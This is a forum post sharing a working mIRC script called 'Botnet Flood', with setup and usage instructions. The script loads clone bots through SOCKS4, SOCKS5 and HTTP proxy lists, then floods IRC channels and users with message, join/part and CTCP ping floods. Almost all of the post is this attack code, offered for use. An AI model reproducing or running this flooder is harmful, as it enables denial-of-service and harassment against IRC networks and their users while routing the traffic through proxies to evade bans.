Nov 12, 2011 08:45 PM
(This post was last modified: Nov 13, 2011 08:33 AM by independentt.)
What you need:
4 files
IRCproxys.txt
sock4.txt
sock5.txt
system\files\ident.txt (nick list)
How to load bots?
Press f7 enter server ip (no hostnames) port and ammount of sockets to open
How to flood?
press F8 will flood the active window with @@'s
KILL BOTS?
Shift+ F7
I know its a bit shitty but it works!
--
code updated because missing alias
4 files
IRCproxys.txt
sock4.txt
sock5.txt
system\files\ident.txt (nick list)
How to load bots?
Press f7 enter server ip (no hostnames) port and ammount of sockets to open
How to flood?
press F8 will flood the active window with @@'s
KILL BOTS?
Shift+ F7
I know its a bit shitty but it works!
--
Code
on *:SOCKOPEN:flooderpxy*:{
if ($sockerr > 0) { loadflood %fldserver %fldport | return }
ident.scan $sockname %fldserver %fldport
}
on 1:SOCKOPEN:flooders4*:{
if ($sockerr > 0) { loadflood %fldserver %fldport | return }
.bset &bvar4 1 4 1 $gettok($longip(%fldport),3,46) $gettok($longip(%fldport),4,46) $replace(%fldserver,.,$chr(32)) 0
.sockwrite -n $sockname &bvar4
.bunset &bvar4
}
on 1:SOCKOPEN:flooders5*:{
if ($sockerr > 0) { loadflood %fldserver %fldport | return }
.bset &bvar5 1 5 1 0
.sockwrite -n $sockname &bvar5
.bunset &bvar5
}
alias ident.scan { sockwrite -n $1 CONNECT $+($iif($2 == $null,$serverip,$2), :,$iif($3 == $null,$port,$3)) HTTP/1. $+ $r(0,1) $crlf | sockwrite -n $1 $crlf | sockwrite -n $1 $crlf }
alias flood {
if ($2 != $null) { .sockwrite -n fl* join $1 | .sockwrite -n fl* PRivmsg $1 : $+ $2- | /return }
if ($chr(35) isin $1) {
.sockwrite -n fl* join $1
.flood1 $1
}
}
alias flood1 {
%site = $read(system\files\s.ax)
/sockwrite -n fl* privmsg $1 : $+ %site @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
}
alias flood2 {
/sockwrite -n fl* privmsg $1 : $+ $fld
}
alias jp {
%site = $read(system\files\s.ax)
sockwrite -n fl* join $1
sockwrite -n fl* part $1 : $+ %site
}
alias pingflood {
sockwrite -n fl* NOTICE $1 : $+ $chr(1) $+ PING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $+ $chr(1)
}
alias pingflood2 {
sockwrite -n fl* PRIVMSG $1 : $+ $chr(1) $+ PING $+ $chr(1)
}
on 1:SOCKCLOSE:fl*:.timer $+ $sockname 1 10 loadflood %fldserver %fldport
on *:SOCKREAD:flooderpxy*:{
;if ($sockbr) return
sockread %flooder
tokenize 32 %flooder
if ($gettok(%flooder,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%flooder,2,32),:) }
if ($gettok(%flooder,2,32) == 200) {
sockrename $sockname fld $+ $remove($sockname,flooderpxy)
}
}
on 1:SOCKREAD:flooders4*:{
;if ($sockbr) return
.sockread &bsocks4
if (PING isin $bvar(&bsocks4,1,$bvar(&bsocks4,0)).text) sockwrite -n $sockname PONG $remove($gettok($bvar(&bsocks4,1,$bvar(&bsocks4,0)).text,$calc($findtok($bvar(,1,$bvar(&bsocks4,0)).text,PING,32)+1),32),:)
if ($bvar(&bsocks4,2) == 90) {
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
sockrename $sockname fld $+ $remove($sockname,flooders4)
}
}
on 1:SOCKREAD:flooders5*:{
;if ($sockbr) return
.sockread &bsocks5
if (PING isin $bvar(&bsocks5,1,$bvar(&bsocks5,0)).text) sockwrite -n $sockname PONG $remove($gettok($bvar(&bsocks5,1,$bvar(&bsocks5,0)).text,$calc($findtok($bvar(&bsocks5,1,$bvar(&bsocks5,0)).text,PING,32)+1),32),:)
if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
.bset &socks5 1 5 1 0 1 $replace(%fldserver,.,$chr(32)) $gettok($longip(%fldport),3,46) $gettok($longip(%fldport),4,46)
.sockwrite -n $sockname &socks5
.bunset &socks5
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
sockrename $sockname fld $+ $remove($sockname,flooders5)
}
}
on 1:SOCKREAD:fld*:{
sockread %fld
tokenize 32 %fld
if ($1 == PING) { sockwrite -n $sockname PONG $remove($2,:) }
if (*NOTICE AUTH* iswm $1-3) || (451 == $2) || (43* iswm $2) && (!$sock($sockname).mark) {
sockmark $sockname c
.timerNICK $+ $sockname 1 1 sockwrite -n $sockname NICK $read(system\files\ident.txt)
.timerUSR $+ $sockname 1 1 sockwrite -n $sockname USER $read(system\files\ident.txt) "." "." : $+ $read(system\files\ident.txt)
.timerJOIN $+ $sockname 1 2 $iif(%fldchan != $null,sockwrite -n $sockname JOIN %fldchan)
}
}
alias fldcolor { return [ [ $read(system\files\fldcolor.txt,p) ] ] }
alias fld { return : $+ [ [ $read(system\files\fldcolor.txt,p) ] ] }
alias f7 {
%fldserver = $$?="IRC Server IP ONLY"
%fldport = $$?="on Port? (6667)"
%fldam = $$?="Ammount? (Recommanded: 50 - 200)"
%fldnick = $me
%fldtime = 0
$iif($chr(35) isin $active,%fldchan = $active,unset %fldchan)
echo -a Loading on %fldserver $+ : $+ %fldport ...Please wait it may take a while.
.timerLOADCLONES %fldam %fldtime loadflood %fldserver %fldport
}
alias sfld {
%fldserver = $1
%fldport = $2
if ($3) %fldam = $3
if (!$3) %fldam = 100
%fldnick = $nick
if (. !isin $1) { .notice $NICK Format: sfld <Server> <Port> [Ammount] | return }
if ($2 !isnum) { .notice $nick Format: sfld <Server> <Port> [Ammount] | return }
if (!$isfile($pxy)) { .notice $nick No such file $pxy . | return }
.notice $nick Load: $1 $2 Am: %fldam ... Please wait...
.timerLOADCLONES %fldam 0 loadflood %fldserver %fldport
return
}
alias SF7 { sockclose fl* }
alias f8 {
echo -a Flooding $active
flood $active
}
alias loadflood {
set %rand $r(0,99)
set %temp.proxy $proxy
if (pxy isin %temp.proxy) { sockopen flooderpxy $+ %rand $gettok(%temp.proxy,1-2,32) }
if (s4 isin %temp.proxy) { sockopen flooders4 $+ %rand $gettok(%temp.proxy,1-2,32) }
if (s5 isin %temp.proxy) { sockopen flooders5 $+ %rand $gettok(%temp.proxy,1-2,32) }
}
menu nicklist,query,chat {
-
Botnet Flood
.LOAD BOTS (F7): f7
.KILL BOTS (Shift+F7):sockclose flood*
.-
.Query Flood $1 (use F8): /flood $1
.Ping flood $1 : /pingflood $1
-
}
menu menubar,status {
-
Botnet Flood
.LOAD BOTS (F7): f7
.KILL BOTS (Shift+F7):sockclose flood*
.-
.JOIN BOTS: ss join $?="#Channel"
.PART BOTS: ss part $?="#Channel"
.JOIN/PART Flood: jp $?="#Channel"
.PRIVMSG flood (use F8): /flood $?="Channel/nickname ?" $?="Text (optional)"
.Ping flood: /pingflood $?="Channel/nickname ?"
-
}
menu channel {
-
Botnet Flood
.LOAD BOTS (F7): f7
.KILL BOTS (Shift+F7):sockclose flood*
.-
.JOIN BOTS IN # : ss join #
.PART BOTS: ss part # %site
.JOIN/PART flood: jp #
.MSG Flood # (use F8): /flood #
.Ping flood: /pingflood #
-
}
alias proxy {
:R
set %randomnumber $r(1,3)
if (%randomnumber = 1) && ($isfile(sock4.txt)) {
:S4
inc %p.incs4
set %p.maxs4 $lines(sock4.txt)
set %s4 $replace($read(sock4.txt,%p.incs4),:,$chr(32))
if (%p.incs4 >= %p.maxs4) { unset %p.incs4 | goto s4 }
return %s4 s4
}
if (!isfile(sock4.txt)) && (%randomnumber == 1) goto r
if (%randomnumber = 2) && ($isfile(sock5.txt)) {
:S5
inc %p.incs5
set %p.maxs5 $lines(sock5.txt)
set %s5 $replace($read(sock5.txt,%p.incs5),:,$chr(32))
if (%p.incs5 >= %p.maxs5) { unset %p.incs5 | goto s5 }
return %s5 s5
}
if (!isfile(sock5.txt)) && (%randomnumber == 2) goto r
if (%randomnumber = 3) && ($isfile($pxy)) {
:PROXY
inc %p.inc
set %p.max $lines($pxy)
set %pxy $replace($read($pxy,%p.inc),:,$chr(32))
if (%p.inc >= %p.max) { unset %p.inc | goto PROXY }
return %pxy pxy
}
}
alias pxy return IRCproxys.txtcode updated because missing alias


